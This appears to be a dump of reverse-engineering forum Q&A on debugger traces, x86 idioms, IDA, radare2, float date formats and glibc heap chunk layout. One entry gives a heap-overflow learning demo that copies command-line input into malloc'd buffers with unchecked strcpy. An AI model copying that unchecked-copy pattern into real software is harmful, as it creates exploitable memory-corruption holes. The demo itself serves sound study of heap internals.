    00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000210  Msg = WM_PARENTNOTIFY\n            00000204  Event = WM_RBUTTONDOWN, ID = 0\n            00230006  Data = 230006\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000021  Msg = WM_MOUSEACTIVATE\n            00010236  hParent = 00010236, class = CalcFrame, text = Calculator\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000021  Msg = WM_MOUSEACTIVATE\n            00010236  hParent = 00010236, class = CalcFrame, text = Calculator\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000204  Msg = WM_RBUTTONDOWN\n            00000002  Keys = MK_RBUTTON\n            00230006  X = 6, Y = 35.\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000084  Msg = WM_NCHITTEST\n            00000000  wParam = 0\n            01790207  X = 519., Y = 377.\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000205  Msg = WM_RBUTTONUP\n
    \n\n

    now refine the breakpoint to suit your condition
    \n(change from never to on condition
    \nadd condition like when uMsg == WM_LBUTTONDOWN ie
    \n[esp+8] == 0x20x..20y (see the stack layout mention earlier
    \n0x200 t0 0x220 are WM_MOUSE EVENT MESSAGES

    \n\n

    here is screenshot that shows a possible configuration and result below screen shot\n\"enter

    \n\n
    00551EDE  INT3: [esp+8] = WM_MOUSEMOVE\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_LBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000201  Msg = WM_LBUTTONDOWN\n            00000001  Keys = MK_LBUTTON\n            00350004  X = 4, Y = 53.\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_LBUTTONUP\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000204  Msg = WM_RBUTTONDOWN\n            00000002  Keys = MK_RBUTTON\n            00350004  X = 4, Y = 53.\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_RBUTTONUP\n
    \n" }, { "Id": "19218", "CreationDate": "2018-09-01T19:40:14.497", "Body": "

    The bitmask is used to manipulate the value of the integer variable. From debugging, I guessed that the bitwise operation generates nearest even integer. Here is the assembly:

    \n\n\n\n
    mov     r8d, 0FFFFFFF8h\njnz     loc_x\nmov     eax, [rsp+48]\nadd     eax, 7\nand     eax, r8d\nmov     edi, eax\nmov     r8d, eax\nmov     [rsp+48], rdi\ncall    operator_new\nxor     r8d, r8d\nmov     rsi, rax\ntest    rax, rax\njz      loc_y\n
    \n\n

    The interested pseudo-code is:

    \n\n
    a = (b + 7) & 0xFFFFFFF8;\nc = a;\n
    \n\n

    So, what does 0xFFFFFFF8 value do? And how can I determine the purpose behind that operation (and possibly any other in future)?

    \n", "Title": "How to identify the purpose behind a bitmask?", "Tags": "|disassembly|decompilation|", "Answer": "

    sometimes a python script makes it easier to understand

    \n\n
    def bitbut(a,b):\n    for i in range(a,b,1):\n        b = 0 + i\n        c = b + 7\n        d = c & 0xfffffff8\n        print \"%3d\" % (d),\n    print \"\\n\"\nfor i in range(0,256,16):\n    bitbut(i,i+16)\n
    \n\n

    output

    \n\n
      0   8   8   8   8   8   8   8   8  16  16  16  16  16  16  16 \n\n 16  24  24  24  24  24  24  24  24  32  32  32  32  32  32  32 \n\n 32  40  40  40  40  40  40  40  40  48  48  48  48  48  48  48 \n\n 48  56  56  56  56  56  56  56  56  64  64  64  64  64  64  64 \n\n 64  72  72  72  72  72  72  72  72  80  80  80  80  80  80  80 \n\n 80  88  88  88  88  88  88  88  88  96  96  96  96  96  96  96 \n\n 96 104 104 104 104 104 104 104 104 112 112 112 112 112 112 112 \n\n112 120 120 120 120 120 120 120 120 128 128 128 128 128 128 128 \n\n128 136 136 136 136 136 136 136 136 144 144 144 144 144 144 144 \n\n144 152 152 152 152 152 152 152 152 160 160 160 160 160 160 160 \n\n160 168 168 168 168 168 168 168 168 176 176 176 176 176 176 176 \n\n176 184 184 184 184 184 184 184 184 192 192 192 192 192 192 192 \n\n192 200 200 200 200 200 200 200 200 208 208 208 208 208 208 208 \n\n208 216 216 216 216 216 216 216 216 224 224 224 224 224 224 224 \n\n224 232 232 232 232 232 232 232 232 240 240 240 240 240 240 240 \n\n240 248 248 248 248 248 248 248 248 256 256 256 256 256 256 256 \n
    \n\n

    as can be seen a pattern can be discerned from the output
    \nfor any input that is between
    \n 0 and 8 both inclusive the output would be 8
    \n 9 and 16 both inclusive the output would be 16 and so on
    \nso the assembly snippet rounds up the input to the next boundary
    \nthat is a multiple of 8

    \n" }, { "Id": "19234", "CreationDate": "2018-09-03T05:52:39.803", "Body": "

    I have a function in a binary like this class<class1::class2>::function. I can't directly use commands like bp, u, x on the function. The only option I have right now is x class* and then look in the output for the address and then set a breakpoint bp <address>.

    \n\n

    Is there something that I'm missing? Its too cumbersome to copy and paste addresses each debugging session. One option is to use pykd, but I am looking for a pure windbg solution.

    \n", "Title": "Are some special chars(<>) in function names not supported by windbg/cdb?", "Tags": "|binary-analysis|c++|windbg|", "Answer": "

    they are supported if you add the special escape sequence @!\" symbol \"

    \n\n

    make sure you set a resolved breakpoints not an unresolved one

    \n\n

    and be aware a single address may point to several instantiations of these classes

    \n\n
    windbg version \nMicrosoft (R) Windows Debugger Version 10.0.17744.1001 X86\n\nlets look for some functions with angle brackets in them\n\n0:000> x /f /v windbg!*<*<*<*\n\nprv func   00b76da9            6d windbg!Debugger::Utils::SmartCleanup_______snipped\nprv func   00b76e16            46 windbg!Debugger::Utils::SmartCleanup_______snipped\npub func   00b9bcd1             0 windbg!std::basic_string<char,std::_______snipped\nsnip \n\n\n\n0:000> bp @!\" windbg!Debugger::Utils::SmartCleanup_____snipped \"\nBp expression '@!\" windbg!Debugger::Utils::SmartCleanup<<lamb___snipped \"'    \n\ncould not be resolved, adding deferred bp <<<<<\n\n0:000> bl\n     0 e Disable Clear u             0001 (0001) (@!\" windbg!Debugger::Utils::SmartCleanup<<lambda_snipped\n
    \n" }, { "Id": "19235", "CreationDate": "2018-09-03T10:30:59.557", "Body": "

    This is my first program i am trying to reverse and my intro to this field.

    \n\n

    The C program will test if two strings match, and it will printf() a message for each occasion.

    \n\n

    This is what the reversed code snippet looks like:

    \n\n
    call strcmp //compares the strings\ntest eax,eax\njne 1706\n
    \n\n

    I know that jne will jump, if ZF=0.

    \n\n

    What i do not understand is what's up with this line:

    \n\n
    test eax,eax\n
    \n\n

    What caused this line?\nHow does it relate with strcmp?

    \n\n

    I know that if the result of test is not zero, ZF=0, so jne will jump.\nBut what does it compare exactly, and how does it relate to strcmp?

    \n", "Title": "Purpose of test eax,eax after a strcmp", "Tags": "|disassembly|assembly|c|", "Answer": "

    You might be missing the fact that call strcmp will not set ZF for you - it returns the result in the EAX register. But JNE instruction tests ZF, and that test eax, eax serves to set ZF according to EAX. (actually, the opposite way, EAX=1 -> ZF=0).

    \n\n

    I recommend reading some easy book on x86 assembly, it will help you a lot.

    \n" }, { "Id": "19253", "CreationDate": "2018-09-04T16:00:00.250", "Body": "

    Here is an example of the bt instruction in a X64 Windows binary:

    \n\n
    bt      eax, 18h\njnb     short loc_a\nlea     rcx, String\ncall    cs:__imp_wprintf\nmov     eax, [rbx+40h]\n
    \n\n

    In pseudocode:

    \n\n
    if ( _bittest(&Mode, 0x18u) )\n{\n  wprintf(L\"String\");\n  Mode = Properties->Mode;\n}\n
    \n\n

    What is the _bittest macro used in a IF statement? Is it similar with if(a & b == b) or something? The code if(a & b == b) is used for checking if a flag is present in an OR-ed flag. And from debugging, I found the above assembly code is doing something like that.

    \n", "Title": "What is _bittest macro?", "Tags": "|disassembly|", "Answer": "

    _bittest is a compiler intrinsic which maps to the bt instruction:

    \n\n
    \n

    Generates the bt instruction, which examines the bit in position b of\n address a, and returns the value of that bit.

    \n\n
    unsigned char _bittest(  \n   long const *a,  \n   long b  \n);\n
    \n
    \n" }, { "Id": "19255", "CreationDate": "2018-09-04T16:47:33.007", "Body": "

    I have access to an MS SQL Server DB and I'm able to run queries on the databases.
    \nBut the since the database is too big, with multiple tables and each table having many columns (whose names aren't descriptive), I don't know which data is where.

    \n\n

    I assumed I could use nc or Wireshark to listen to the port and learn from the backend about data in the DB (I have access to the frontend and the DB). But SQL server data traffic is encrypted. So I downloaded Microsoft Tools like Microsoft SQL server manager and Microsoft Message Analyzer and starting out.

    \n\n

    Question
    \nAre there ways to figure out \"which data is where\" in a DB?
    \nWhat must be my approach to understand the database?

    \n", "Title": "Find schema and info of MS SQL Server to which I have access to", "Tags": "|tools|mssql|", "Answer": "

    If I am not mistaken (it's some time since I worked with MS SQL), SQL Server Manager has a feature to reconstruct the database schema, delivering an ER-Diagram, including references between the tables (foreign keys), Stored Procedures etc. This assumes you can connect to the db. Once you have the db schema, this will give you an insight into its structure, and how the tables cooperate.

    \n" }, { "Id": "19259", "CreationDate": "2018-09-05T08:29:42.180", "Body": "

    Seems like unpacking UPX manually is not a trivial task any more, due to ASLR and the need to recover the relocation table. So, before reinventing the wheel, I'd like to know if there's already some tool to do this.

    \n", "Title": "Is there a tool to reconstruct .reloc section?", "Tags": "|windows|pe|", "Answer": "

    There is a tool called ReloX by MackT/uCF2000:

    \n\n
    \n

    Purpose:

    \n \n

    ReloX is a Win32 relocations rebuilder. It will create a .reloc section from different based images.

    \n \n

    What does it need?

    \n \n
      \n
    • At least 2 different based images of a module. The more you have images, the more your relocations will be reliable.
      • \n
    \n \n

    Limitations

    \n \n
      \n
    • It will only support 32 bits relocations of type (3). (IMAGE_REL_BASED_HIGHLOW : The fixup applies the delta to the 32-bit\n field at Offset)
      • \n
    \n
    \n\n

    At the time of writing, a copy seems to be available here.

    \n" }, { "Id": "19267", "CreationDate": "2018-09-05T19:01:01.507", "Body": "

    Is there a plugin or option in IDA that interleavs the hex bytes for \neach instruction similar to the output of objdump? I.e. like this:

    \n\n
       1800035f1:   ff 15 19 5a 00 00       callq  *0x5a19(%rip)        # 0x180009010                          \n   1800035f7:   45 8b c6                mov    %r14d,%r8d                                                  \n   1800035fa:   48 8d 55 d7             lea    -0x29(%rbp),%rdx                                            \n   1800035fe:   48 8d 4b 10             lea    0x10(%rbx),%rcx                                             \n   180003602:   ff 15 b0 1c 00 00       callq  *0x1cb0(%rip)        # 0x1800052b8                          \n   180003608:   48 8d 7d ef             lea    -0x11(%rbp),%rdi                                            \n   18000360c:   41 8d 4e ff             lea    -0x1(%r14),%ecx                                             \n   180003610:   49 3b c6                cmp    %r14,%rax                                                   \n   180003613:   74 12                   je     0x180003627                                                 \n   180003615:   33 c0                   xor    %eax,%eax                                                   \n
    \n\n

    I dont want to switch to hex view.

    \n", "Title": "IDA plugin to view hex bytes similar to objdump", "Tags": "|ida|objdump|", "Answer": "

    There is no need for plugins. Just enter a non-zero value in \"Number of opcode bytes\" in Options-General-... Disassembly.

    \n" }, { "Id": "19272", "CreationDate": "2018-09-06T17:51:44.910", "Body": "

    I'm trying to run an IDAPython script in IDA 7.1 on Windows 10 and it runs just fine when I run it from the Script File... command, but if when I run it from the command line it isn't working properly. My command to run it from the command line is:

    \n\n

    ida64 -A -SC:\\path\\to\\script\\databaseAll.py C:\\path\\to\\ELFexecutable\\target0

    \n\n

    If I open the file in the graphical interface first and pack the database, then it works from the command line in creating the database correctly, but otherwise it has a lot of information that's missing.

    \n\n

    Am I doing something wrong? How do you properly run a script from the command line?

    \n", "Title": "IDAPython Script works from \"Script File\" but not when run with -S from Terminal", "Tags": "|ida|windows|idapython|script|", "Answer": "

    You need to run idc.auto_wait in the python script to allow IDA to process all the entries in it's auto-analysis queue before it tries to navigate around based on analysis-dependent features.

    \n" }, { "Id": "19274", "CreationDate": "2018-09-06T20:01:07.097", "Body": "

    Application security engineer here. When we compile our java code, we obfuscate it using KlassMaster and have it remove line numbers (see KlassMaster docs) because of a handwavy explanation \"it makes reverse engineering harder\".

    \n\n

    I'd like to fact-check that this is actually increasing reverse-engineering difficulty enough to warrant the amount of dev time that's wasted trying to debug useless stack traces.

    \n", "Title": "Why do obfuscators remove line numbers, and can I safely leave them in?", "Tags": "|obfuscation|java|", "Answer": "

    Stripping line numbers has a minimal impact on the difficulty of reverse engineering code. If it is causing you problems, I would recommend disabling it.

    \n\n

    Col-E's answer is a red herring because it is fairly easy for a reverse engineer to insert synthetic line numbers into the bytecode to disambiguate stack traces (assuming they don't just rename the methods in the first place). These obviously won't match the original source code line numbers, but if all you want is a way to disambiguate stack traces, that is easy to accomplish.

    \n\n

    TamusJRoyce's answer is also mistaken. Javac does not do the sort of optimizations that GCC does, which is why unobfuscated Java can be decompiled so cleanly. The only notable optimization I know of that Javac does at compile time is inlining and simplifying constant expressions.

    \n" }, { "Id": "19275", "CreationDate": "2018-09-06T22:18:21.207", "Body": "

    I'm trying to convert some x86 assembly back into C++, and I cannot figure out how this set of instructions was originally written.

    \n\n
    movd xmm0,eax ; byte read from device '0x04'\ncvtdq2pd xmm0,xmm0 ; convert packed to double?\nshr eax,0x1F ; highest bit\naddsd xmm0,qword ptr ds:[eax*8+0x4F6CC0] ; global [0, 4294967296] if I read it right\ncvtpd2ps xmm0,xmm0 ; double to packed?\nmovss dword ptr ds:[ebx+0x34],xmm0 ; store the result\n
    \n\n

    I've tried various forms of casting float and double to other data types on Compiler Explorer but I cannot find anything that reproduces the cvtdq2pd and cvtpd2ps instructions.

    \n\n

    What would the above code look like in c/c++ and what is the resulting data type?

    \n", "Title": "XMM register instructions and their c equivalents", "Tags": "|x86|float|", "Answer": "

    You likely won't get an exact reproduction because cvtdq2pd takes the lower 64 bits of the second operand but since we're limited to 32 bits because we're using eax here, there are probably better(?) instructions to use.

    \n

    cvtsi2sd xmm0, eax

    \n

    will do the same thing as

    \n

    movd xmm0,eax

    \n

    cvtdq2pd xmm0,xmm0

    \n

    See here https://www.felixcloutier.com/x86/CVTDQ2PD.html & https://www.felixcloutier.com/x86/CVTSI2SD.html

    \n

    So really what it's doing is converting a 32 bit signed integer value into a double precision floating point.

    \n
    \n

    Onto your actual question:

    \n

    cvtpd2ps xmm0,xmm0 ; double to packed?

    \n
    \n

    CVTPD2PS xmm1, xmm2/m128

    \n

    Convert two packed double-precision floating-point values in xmm2/mem to two single-precision floating-point values in xmm1.

    \n
    \n

    This will pack the two double precision floats at xmm0[0:63] & xmm0[64:127] into the lower 64 bits of xmm0, converting them from double to single precision floating point values (xmm0[0:31] & xmm0[32:63]).

    \n

    Ref: https://www.felixcloutier.com/x86/CVTPD2PS.html

    \n

    So if the lower 64 bits of xmm0 represented a double, it's now been converted to a 32 bit float, which now sits in the lower 32 bits of xmm0.

    \n

    movss dword ptr ds:[ebx+0x34],xmm0

    \n
    \n

    MOVSS xmm2/m32, xmm1

    \n

    Move scalar single-precision floating-point value from xmm1 register to xmm2/m32.

    \n
    \n

    Now stores the 4 byte result from xmm0[0:31] into [ebx+0x34], which we know is a single precision float from the result of the cvtpd2ps operation.

    \n

    So the result of this operation is a 32 bit float.

    \n

    Ref: https://www.felixcloutier.com/x86/MOVSS.html

    \n
    \n

    This code here should be a reasonable approximation. In Godbolt it gives me similar assembly to what you have.

    \n
    double* d_arr = (double*)0x4F6CC0;\n\nint main() {\n\n    int in = 4;\n    int signbit = ((unsigned int)in >> 31);\n    float result = *(double*)(d_arr + signbit) + in;\n    return 0;\n}\n
    \n
    \n

    Conclusion:

    \n

    cvtdq2pd & cvtpd2ps are too powerful for what's actually being calculated here. Unless I'm reading this totally wrong, the upper 64 bits of xmm0 are never relevant to the result.

    \n

    Disclaimer:

    \n

    I've never used floating point assembly before. I just looked up the docs now. I could be missing something.

    \n" }, { "Id": "19280", "CreationDate": "2018-09-07T04:23:32.683", "Body": "

    I'm looking at the OLK files created by Outlook for Mac, and these appear to be the date fields, but I cannot figure out what kind of binary dates they are.

    \n\n

    There are 2 values in one file (reversed from LE):

    \n\n
    DATE1: 41 C0 A0 72 E7 F5 F6 A9\nDATE2: 41 C0 A0 72 E9 2B 82 BA\n
    \n\n

    One of these apparently decodes to Thu, 06 Sep 2018 00:34:23 -0400, but I can't figure out how.

    \n\n

    These don't appear to be any of the Windows FileTime or OLE formats, and it isn't any of the Mac formats that I've seen before.

    \n\n

    Here's another example:

    \n\n
    41 BB 67 A9 0A 00 00 00 --> 7/28/2015 12:11:54 UTC\n
    \n\n

    Any help greatly appreciated.

    \n", "Title": "What kind of date stamp is this?", "Tags": "|binary-format|", "Answer": "

    It's a 64 bit floating point value.

    \n\n

    See here: https://developer.apple.com/documentation/foundation/nsdate

    \n\n

    Returns a TimeInterval which happens to be typealias TimeInterval = Double

    \n\n

    Ref: https://developer.apple.com/documentation/foundation/timeinterval

    \n\n

    As in the source above, the epoch here is seconds from Jan 1 2001. But it's stored as a float.

    \n\n
    \n\n

    41 BB 67 A9 0A 00 00 00 is about 459778314 seconds which is Jul 28 2015, 12:11:54 PM

    \n\n

    41 C0 A0 72 E7 F5 F6 A9 is about 557901263 which is Sep 6 2018, 6:34:23 AM UTC

    \n\n

    41 C0 A0 72 E9 2B 82 BA is about 557901266 which is Sep 6 2018, 6:34:26 AM UTC

    \n" }, { "Id": "19282", "CreationDate": "2018-09-07T06:29:37.493", "Body": "

    In the MegaBeets tutorial, \"A journey into Radare 2 \u2013 Part 1: Simple crackme\" the authors iz has,

    \n\n
    vaddr=0x08048700 paddr=0x00000700 ordinal=000 sz=21 len=20 section=.rodata type=ascii string=\\n .:: Megabeets ::.\n
    \n\n

    Etc, However, my iz shows only,

    \n\n
    000 0x00000a44 0x5647c37a7a44  20  21 (.rodata) ascii \\n  .:: Megabeets ::.\n
    \n\n

    Is there a way to get the extra information, namely the keys=value format?

    \n", "Title": "Headers for `iz` and such in key=value format?", "Tags": "|radare2|", "Answer": "

    The headers for iz have since been added back

    \n\n
    [Strings]\nNum Paddr      Vaddr      Len Size Section  Type  String\n000 0x00000850 0x00000850  20  21 (.rodata) ascii \\n  .:: Megabeets ::.\n001 0x00000865 0x00000865  22  23 (.rodata) ascii Think you can make it?\n002 0x0000087c 0x0000087c   9  10 (.rodata) ascii Success!\\n\n003 0x00000886 0x00000886  21  22 (.rodata) ascii Nop, Wrong argument.\\n\n
    \n" }, { "Id": "19291", "CreationDate": "2018-09-08T15:49:27.373", "Body": "

    Here is the function\"enter

    \n\n

    If I understand correctly:

    \n\n
      \n
    • There is a buffer of size 256 bytes created (malloc)
      • \n
    • in this buffer, the first 32 bits are set to 0 (because dword designates 32bits size)
      • \n
    • the next 32 bits (32 to 63) are set to C8h
      • \n
    • the next 32 bits (64 to 95) to 0.
      • \n
    \n\n

    Then another pointer of memory size 3200 is created.\nThe address of this new pointer is written in the first buffer between the bit 127 to the bit 127+64=191.

    \n\n

    Then we return the address of the first buffer.

    \n\n

    Am I right?

    \n\n

    Thank you very much!!!

    \n\n

    PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?

    \n", "Title": "Correct my understanding on a basic allocation memory", "Tags": "|assembly|linux|x86-64|", "Answer": "
    \n

    If I understand correctly:

    \n \n

    There is a buffer of size 256 bytes created (malloc) in this buffer,\n the first 32 bits are set to 0 (because dword designates 32bits size)\n the next 32 bits (32 to 63) are set to C8h the next 32 bits (64 to 95)\n to 0.

    \n
    \n\n

    Yes!

    \n\n
    \n

    The address of this new pointer is written in the first buffer between the bit 127

    \n
    \n\n

    Well it will be the 128th bit. The qword at rax+0x10 is 128 bits from the head of your first malloc.

    \n\n
    \n\n

    But these aren't strictly bit offsets. You can calculate how many bits from the start of memory, but I would question why it matters.

    \n\n
    \n

    PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?

    \n
    \n\n

    rax is a 64 bit register so you can use it to represent 2^64 values.

    \n\n

    If rax is 0x12345678 and I add 1, what should happen? It will become 0x12345679 regardless of how many bits you want that to represent. (Oversimplification but I hope this make the point).

    \n\n

    For example: mov dword ptr [rax+4], 0xC8

    \n\n

    Ref: https://www.felixcloutier.com/x86/MOV.html

    \n\n

    From the above ref, this is a mov m32, imm32 which means copy a 32bit constant into the 32bit DWORD through this pointer [rax+4]

    \n\n

    So because [rax+4] represents a pointer to byte addressable memory, the +4 represents 4 bytes.

    \n\n

    This is only because the m32 operand to mov is concerned with the address of bytes. There are other x86 instruction that can manipulate bits, but not this one.

    \n" }, { "Id": "19293", "CreationDate": "2018-09-08T16:18:35.843", "Body": "

    I'm reading Shellcoder's Handbook to learn more about exploitation and overflows. I reached the chapter on Heap Overflows. The book mentions that a heap is split into chunks where each chunk contains two important pieces of info:

    \n\n
      \n
    • The size of the previous chunk, if allocated
      • \n
    • Size of current chunck
      • \n
    • Data
      • \n
    \n\n

    The following image is taken from a Blackhat presentation\n\"enter

    \n\n

    I made a small demo to test this. Below is the code:

    \n\n
        1 #include <stdio.h>\n    2 #include <string.h>\n    3 #include <stdlib.h>\n    4\n    5 int\n    6 main (int argc, char *argv[]){\n    7     char *buf, *buf2;\n    8\n    9     buf = (char *) malloc(1024);\n   10     buf2 = (char *) malloc(1024);\n   11\n   12     printf(\"buf=%p\\n\", buf);\n   13     printf(\"buf2=%p\\n\", buf2);\n   14     strcpy(buf, argv[1]);\n   15     strcpy(buf2, argv[2]);\n   16     printf(\"buf=%s\\n\", buf);\n   17     printf(\"buf2=%s\\n\", buf2);\n   18     free(buf2);\n   19     return 0;\n   20 }\n
    \n\n

    I've placed a breakpoint on line 18 and checked the memory. Here's the dump after running the following command:

    \n\n

    ./basicheap $(python -c 'print(\"A\"*1000 + \" \" +\"XXXXABCDEFGH\")')

    \n\n

    This is the memory dump of buf1:

    \n\n
    [0x08048543]> pxw 0x50 @ [fcnvar.local_1ch]-8\n0x0804b158  0x00000000 0x00000411 0x41414141 0x41414141  ........AAAAAAAA\n0x0804b168  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b178  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b188  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b198  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n
    \n\n

    This is the memory dump of buf2:

    \n\n
    [0x08048543]> pxw 0x50 @ [fcnvar.local_20h]-8\n0x0804b568  0x00000000 0x00000411 0x58585858 0x44434241  ........XXXXABCD\n0x0804b578  0x48474645 0x00000000 0x00000000 0x00000000  EFGH............\n0x0804b588  0x00000000 0x00000000 0x00000000 0x00000000  ................\n0x0804b598  0x00000000 0x00000000 0x00000000 0x00000000  ................\n0x0804b5a8  0x00000000 0x00000000 0x00000000 0x00000000  ................\n
    \n\n

    The output shows 0x411 as the size of the both chunk, which is 1024 + 17 bits for whatever. This is the the first (and only) piece of information in the header for both chunks.

    \n\n

    However, I don't see any info relating to any previous chunks. In Shellcoder's, the author is trying to demonstrate how one can overflow buf1 to overwrite the header info of buf2.

    \n\n

    Did the writers of glibc forgo the size of previous chunk in the header info, or is it something I'm missing?

    \n\n

    P.S: The build command I used was gcc -no-pie -g basicheap.c -o basicheap

    \n", "Title": "Heap Chunk Structure Does Not Contain Previous Section Info", "Tags": "|binary-analysis|radare2|exploit|shellcode|heap|", "Answer": "

    The diagram you linked to seems to be wrong. The size of the previous chunk is stored in the current chunk iff, the previous chunk is free.

    \n\n

    This image is more appropriate of what an allocated heap chunk looks like.

    \n\n

    \"enter

    \n\n

    Source: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

    \n\n

    Lets take the following code to demonstrate this.

    \n\n
    #include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nint main (int argc, char *argv[])\n{\n    char *buf1, *buf2, *buf3;\n    buf1 = (char *) malloc(1024);\n    buf2 = (char *) malloc(1024);\n    buf3 = (char *) malloc(1024);\n\n    printf(\"buf1=%p\\n\", buf1);\n    printf(\"buf2=%p\\n\", buf2);\n    printf(\"buf3=%p\\n\", buf3);\n\n    memset(buf1, 'A', 1024);\n    memset(buf2, 'B', 1024);\n    memset(buf3, 'C', 1024);\n\n    free(buf2);\n    return 0;\n}\n
    \n\n

    Note: Instead of two chunks, I'm taking three chunks or otherwise freeing the first may coalesce it into the top chunk. We will free the middle chunk and examine the chunk contents before and after the free call is executed.

    \n\n

    The binary was compiled with gcc -m32 -g ./heap.c. Debug the binary in gdb as you would normally and set a breakpoint on line 20 at the free(buf2) call.

    \n\n

    \"enter

    \n\n

    When the breakpoint hit, let's examine the three chunks.

    \n\n

    \"enter

    \n\n

    malloc returns the pointer to chunk + 8, so we subtracted 8 from each of the addresses. Additionally, I've also highlighted the chunk sizes (2nd member of a heap chunk) in the above image.

    \n\n

    However the chunk sizes are not actually 0x409 . Glibc heap chunks are always aligned to 8 bytes which means the last three bits are always zero. Hence, these three bits are used for storing other information (A, M and P bits).

    \n\n

    0x409 when converted to binary comes out to be 100 0000 1001.

    \n\n

    \"enter

    \n\n

    To get the true chunk size we have to discard the last three bits (A M P) i.e. we should consider only 100 0000 1000. When this is converted to decimal we get 1032.

    \n\n

    \"enter

    \n\n

    The true chunk size is indeed 1032. 1024 bytes for our data and the other 8 for the first two members.

    \n\n

    Coming back to gdb, lets step over the free call and examine the chunks once again.

    \n\n

    \"enter

    \n\n

    Chunk 2 has been freed. Let's have a look at chunk 3 (buf3).

    \n\n

    \"enter

    \n\n

    The first member of chunk 3 now contains 0x408 which is 1032 in decimal - this is the size of chunk 2. Thus the previous size is stored in chunk 3 only after chunk 2 has been freed, not when it is in-use.

    \n\n

    The P bit I was referring before stands for PREV_INUSE. This bit is set when the previous chunk is in use. Since the previous chunk is now free this bit is set to 0. As a result the second member now also contains 0x408 (instead of 0x409) which equals 100 0000 1000.

    \n\n

    \"enter

    \n\n

    As shown in the image above, the P bit is unset. Hope, this clears your understanding.

    \n" }, { "Id": "19298", "CreationDate": "2018-09-09T11:44:13.967", "Body": "

    I have a few SPARC binaries that have been compiled with what seems to be the SunPro CC compiler. The symbols in the binary are referring to a very early C++ implementation (pre-namespaces) and look like this:

    \n\n
    __0oHistreamrsRUl.\n__0oHistreamrsRi.\n__0oHistreamrsRf.\n__0oKistrstreamdtv.\n__0oHistreamrsPc.\n__0oKistrstreamctPCc.\n__0oNIostream_initdtv.\n__0oNIostream_initctv.\n
    \n\n

    Looking at these, I'm guessing that they correspond to the following methods:

    \n\n
    istream::operator >>(unsigned long);\nistream::operator >>(int);\nistream::operator >>(float);\nistream::~istream();\nistream::operator >>(char *);\nistream::operator(const char *);\nostream_init::~ostream_init();\nostream_init::ostream_init();\n
    \n\n

    To make further progress, I want to understand the mangling scheme used here, but my Google-fu is too weak. Where can I find documentation on the name mangling scheme used here?

    \n", "Title": "Where can I find documentation for the name mangling scheme used by SunPro CC", "Tags": "|c++|sparc|name-mangling|", "Answer": "

    I found the following documentation on archive.org, as part of Sun WorkShop\u2122 for Solaris 2.x

    \n\n

    mangling.ps

